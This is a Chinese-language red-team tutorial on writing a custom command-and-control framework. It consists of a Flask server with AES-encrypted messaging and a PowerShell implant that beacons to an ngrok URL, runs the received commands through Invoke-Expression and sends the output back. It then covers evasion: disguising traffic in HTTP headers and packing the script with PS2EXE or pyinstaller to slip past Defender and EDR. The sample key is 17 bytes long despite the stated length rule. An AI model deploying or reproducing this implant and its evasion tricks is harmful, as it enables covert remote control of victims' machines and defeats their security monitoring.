一、C2服务器的核心原理拆解
C2(Command and Control)服务器,是红队活动中的指挥中枢,能够实现对目标设备的远程控制、数据回传和指令执行。它的核心逻辑在于建立隐蔽的双向通信通道,确保攻击者能够在不中断连接的情况下持续操作被控设备。
从技术层面看,C2服务器的核心目标包括以下几点:
- 通信隐蔽性:确保流量不会被防火墙或流量审计系统发现。
- 命令交互性:能发送各种攻击载荷(Payload)并执行指令。
- 稳定性与持久性:即使被控端重启或网络环境变化,通信仍能继续。
- 灵活性:支持多种操作,例如文件操作、权限提升、横向移动等。
C2的搭建方式有很多种,市面上也有诸如 Cobalt Strike、Sliver、Metasploit 等成熟框架。然而,这些工具往往容易被安全设备签名检测,尤其是 EDR(终端检测和响应)产品。因此,我们今天将从零开始,基于开源组件构建一个定制化的 C2 框架,以绕过常见检测。
---
二、搭建攻击环境:实验室准备

在实战中,C2 服务器的搭建往往需要高度定制化,为了便于演示,我们在本节会从简单的基础环境开始。
环境清单
- 攻击者机器:Kali Linux(或任何支持 Python 的系统)
- 目标机器:Windows 10(启用 Defender,模拟真实环境)
- 通信工具:Flask(Python Web框架),用于快速搭建 C2 通信服务。
- 通信协议:HTTP,伪装成合法流量。
- 隐蔽性工具:Base64 编码 + 数据加密(AES)。
环境配置
- 安装 Flask
在攻击者(C2服务器)机器上,安装 Flask,用于搭建通信接口: <pre><code class="language-bash"> pip install flask `

- 配置目标机器
- Windows 10 自带的 PowerShell 是我们将要利用的核心工具。
- 确保 PowerShell 版本支持
Invoke-WebRequest和ConvertTo-SecureString命令。
- 网络模拟
如果没有公网 IP,可以通过 Ngrok 或者 Frp 工具将本地 C2 服务暴露到公网: `bash ./ngrok http 5000 `
至此,我们的简易测试环境已经就绪,接下来将开始 C2 的核心代码实现。
---
三、从0到1:C2通信模块开发
为了快速搭建一个具有隐蔽通信能力的 C2,我们将通过 Python 和 Flask 来实现服务端逻辑,而被控端(Windows)通过 PowerShell 脚本来与服务端交互。
服务端代码实现
以下是一个简单的 C2 服务端代码,基于 Flask 实现: </code></pre>python from flask import Flask, request, jsonify from Crypto.Cipher import AES import base64

app = Flask(__name__)
加密密钥(必须为16/24/32字节长度)
key = b"thisisaverysecret"
AES 加密函数
def encrypt(data): cipher = AES.new(key, AES.MODE_ECB) padded_data = data + (16 - len(data) % 16) * chr(16 - len(data) % 16) # PKCS7 padding encrypted = cipher.encrypt(padded_data.encode()) return base64.b64encode(encrypted).decode()
AES 解密函数
def decrypt(data): cipher = AES.new(key, AES.MODE_ECB) decoded = base64.b64decode(data) decrypted = cipher.decrypt(decoded) return decrypted.rstrip(b'\x10').decode() # 去掉填充
@app.route('/command', methods=['POST']) def command():
接收被控端的心跳包和数据
data = request.json decrypted = decrypt(data['data']) print(f"[+] Received from target: {decrypted}")
生成返回指令(比如执行 whoami)
command = "whoami" encrypted = encrypt(command) return jsonify({"command": encrypted})
if __name__ == '__main__': app.run(host='0.0.0.0', port=5000) <pre><code> 说明:
- 服务端监听
/command接口,接受目标机器的请求。 - 数据传输采用 AES 加密,确保即使被拦截,内容也无法直接解读。
- 返回的指令通过加密后发送,目标机器会解密并执行。
被控端代码实现
目标机器上将运行的 PowerShell 脚本如下: </code></pre>powershell
AES 解密函数
function Decrypt-String($encrypted, $key) { $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($key) $encryptedBytes = [Convert]::FromBase64String($encrypted) $aes = [System.Security.Cryptography.AesManaged]::new() $aes.Key = $keyBytes $aes.Mode = "ECB" $aes.Padding = "PKCS7" $decryptor = $aes.CreateDecryptor() $plaintextBytes = $decryptor.TransformFinalBlock($encryptedBytes, 0, $encryptedBytes.Length) return [System.Text.Encoding]::UTF8.GetString($plaintextBytes) }
AES 加密函数
function Encrypt-String($plaintext, $key) { $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($key) $plaintextBytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext) $aes = [System.Security.Cryptography.AesManaged]::new() $aes.Key = $keyBytes $aes.Mode = "ECB" $aes.Padding = "PKCS7" $encryptor = $aes.CreateEncryptor() $encryptedBytes = $encryptor.TransformFinalBlock($plaintextBytes, 0, $plaintextBytes.Length) return [Convert]::ToBase64String($encryptedBytes) }
服务端 URL 和密钥
$serverUrl = "http://your-ngrok-url/command" $key = "thisisaverysecret"
心跳包发送逻辑
while ($true) {
发送心跳包
$data = Encrypt-String "ping" $key $response = Invoke-WebRequest -Uri $serverUrl -Method POST -Body (@{ data = $data } | ConvertTo-Json) -ContentType "application/json"
解密服务端指令
$command = Decrypt-String ($response.Content | ConvertFrom-Json).command $key Write-Host "[*] Executing command: $command"
执行指令并回传结果
$result = Invoke-Expression $command $resultData = Encrypt-String $result $key Invoke-WebRequest -Uri $serverUrl -Method POST -Body (@{ data = $resultData } | ConvertTo-Json) -ContentType "application/json"
Start-Sleep -Seconds 5 } `

说明:
- 脚本通过
Invoke-WebRequest与服务端通信,每次都会发送心跳包。 - 收到服务端指令后解密并执行,并将结果加密后回传。
---
四、隐蔽性提升:流量伪装与免杀技巧
以上代码虽然功能完整,但在面对实际检测时,可能存在以下问题:
- 特征流量暴露:HTTP 请求中包含可疑的数据包内容。
- PowerShell 脚本被检测:Defender 对 PowerShell 命令的敏感性较高。
改进策略:
- 流量伪装:
- 将数据伪装成合法的 HTTP Header:
- 或者混淆参数名称:
`python headers = {"User-Agent": "Mozilla/5.0", "X-Data": encrypted} `
`python response = requests.post(url, data={"id": encrypted}) `
- 脚本免杀:
- 使用
PS2EXE将 PowerShell 脚本编译为 EXE 文件。 - 使用 Python 的
pyinstaller工具重新封装,加密字符串。
---
五、总结与个人经验
通过以上的讲解,我们成功实现了:
- 一个轻量化的 C2 框架,支持隐蔽通信和指令交互。
- 使用 AES 加密,确保通信数据难以被拦截和解读。
- 针对流量特征和工具检测,提出了一些绕过策略。
在实际红队活动中,自定义 C2 是一项必备技能,可以帮助我们绕过市面上常见的安全检测工具。但请务必注意,以上技术仅限于授权的测试环境,任何未授权使用均属非法行为。
让攻击者真正强大的,从来不是工具,而是思维。希望这篇文章能为你的红队技能树再添一笔。